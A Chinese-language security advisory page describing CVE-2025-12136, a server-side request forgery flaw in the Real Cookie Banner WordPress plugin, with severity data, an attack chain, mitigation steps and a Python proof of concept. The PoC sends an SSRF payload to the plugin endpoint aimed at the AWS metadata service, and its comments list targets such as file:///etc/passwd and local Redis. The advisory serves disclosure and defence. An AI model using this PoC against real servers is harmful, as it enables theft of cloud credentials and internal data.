IPBUF安全漏洞报告
English
CVE-2025-12136 CVSS 6.8 中危

CVE-2025-12136 WordPress Real Cookie Banner插件SSRF漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-12136
漏洞类型
服务器端请求伪造(SSRF)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Real Cookie Banner: GDPR & ePrivacy Cookie Consent plugin for WordPress

相关标签

CVE-2025-12136SSRF服务器端请求伪造WordPress插件漏洞Real Cookie BannerREST API漏洞认证用户利用GDPR合规工具Cookie Consent

漏洞概述

CVE-2025-12136是WordPress平台下Real Cookie Banner插件中的一个服务器端请求伪造(SSRF)安全漏洞。该插件是一款广受欢迎的GDPR和ePrivacy Cookie同意管理工具,被大量网站用于实现Cookieconsent合规。漏洞存在于插件提供的REST API接口中,具体为/scanner/scan-without-login端点。由于该接口对用户提交的URL参数缺乏充分的验证和过滤,攻击者(需具备管理员权限及以上)可以利用此漏洞从目标Web服务器发起对任意内部或外部资源的请求。此漏洞的CVSS评分为6.8,属于中等严重程度,主要影响机密性。攻击者可以通过构造恶意请求,探测内网服务、访问内部资源、读取本地文件或元数据,甚至可能利用SSRF进一步横向移动或获取敏感信息。由于该漏洞需要认证用户具有管理员级别权限,因此攻击复杂度相对较高,但仍对使用该插件的网站构成实质性安全风险。

技术细节

漏洞根源在于Real Cookie Banner插件的Scanner.php文件中,REST API端点/scanner/scan-without-login直接接收用户提供的URL参数而未进行安全验证。根据插件源代码追踪,该端点在处理url参数时存在以下问题:首先,代码直接使用用户输入的URL构造HTTP请求,而未验证URL的合法性(如检查是否为内网IP、localhost、file://协议等);其次,缺乏对请求目标的限制和过滤机制。攻击者可通过构造如下请求利用此漏洞:POST请求到/wp-json/real-cookie-banner/v1/scanner/scan-without-login,端点会使用服务器身份向攻击者指定的URL发起请求。这使得攻击者能够:1)探测内网服务,识别内部网络架构;2)访问云服务商元数据接口(如AWS 169.254.169.254);3)读取本地文件内容(利用file://协议);4)对内部数据库或API服务执行未授权操作。由于请求由服务器发起,可绕过防火墙等边界防护措施,且能访问仅限服务器访问的内部资源。

攻击链分析

STEP 1
步骤1
攻击者获取目标WordPress网站的管理员或更高权限账户
STEP 2
步骤2
攻击者构造恶意POST请求,访问/scanner/scan-without-login REST API端点
STEP 3
步骤3
在请求中注入SSRF payload,将url参数设置为目标内部资源地址
STEP 4
步骤4
目标服务器接收到请求后,以服务器身份向攻击者指定的目标URL发起请求
STEP 5
步骤5
服务器响应被返回给攻击者,攻击者从而获取内网资源数据或执行未授权操作
STEP 6
步骤6
利用获取的信息进行进一步攻击,如横向移动、权限提升或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-12136 SSRF PoC # Real Cookie Banner Plugin < = 5.2.4 # Requires administrator-level access import requests import sys target_url = "http://target-wordpress-site.com" # Target must have Real Cookie Banner plugin installed # Construct the vulnerable endpoint endpoint = "/wp-json/real-cookie-banner/v1/scanner/scan-without-login" url = target_url + endpoint # Target for SSRF (internal service, metadata, etc.) ssrf_target = "http://169.254.169.254/latest/meta-data/" # AWS metadata # Prepare the POST request with SSRF payload data = { "url": ssrf_target } # If authentication is required, include cookies/tokens # headers = { # "Cookie": "wordpress_admin_cookie=...", # "Authorization": "Bearer ..." # } try: print(f"[*] Sending SSRF request to: {url}") print(f"[*] Target URL for SSRF: {ssrf_target}") response = requests.post(url, data=data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative: Test with different SSRF targets # Internal service: http://localhost:6379/ (Redis) # File read: file:///etc/passwd # Cloud metadata: http://169.254.169.254/latest/user-data/

影响范围

Real Cookie Banner plugin <= 5.2.4 (所有版本)

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时缓解措施:1)限制WordPress管理员账户的创建,确保只有必要人员拥有高权限;2)使用安全插件监控异常的REST API调用;3)配置Web服务器禁止对内网地址的出站请求;4)考虑暂时禁用Real Cookie Banner插件的scanner功能;5)启用双因素认证强化管理员账户安全;6)监控服务器日志,关注来自同一IP的异常API请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表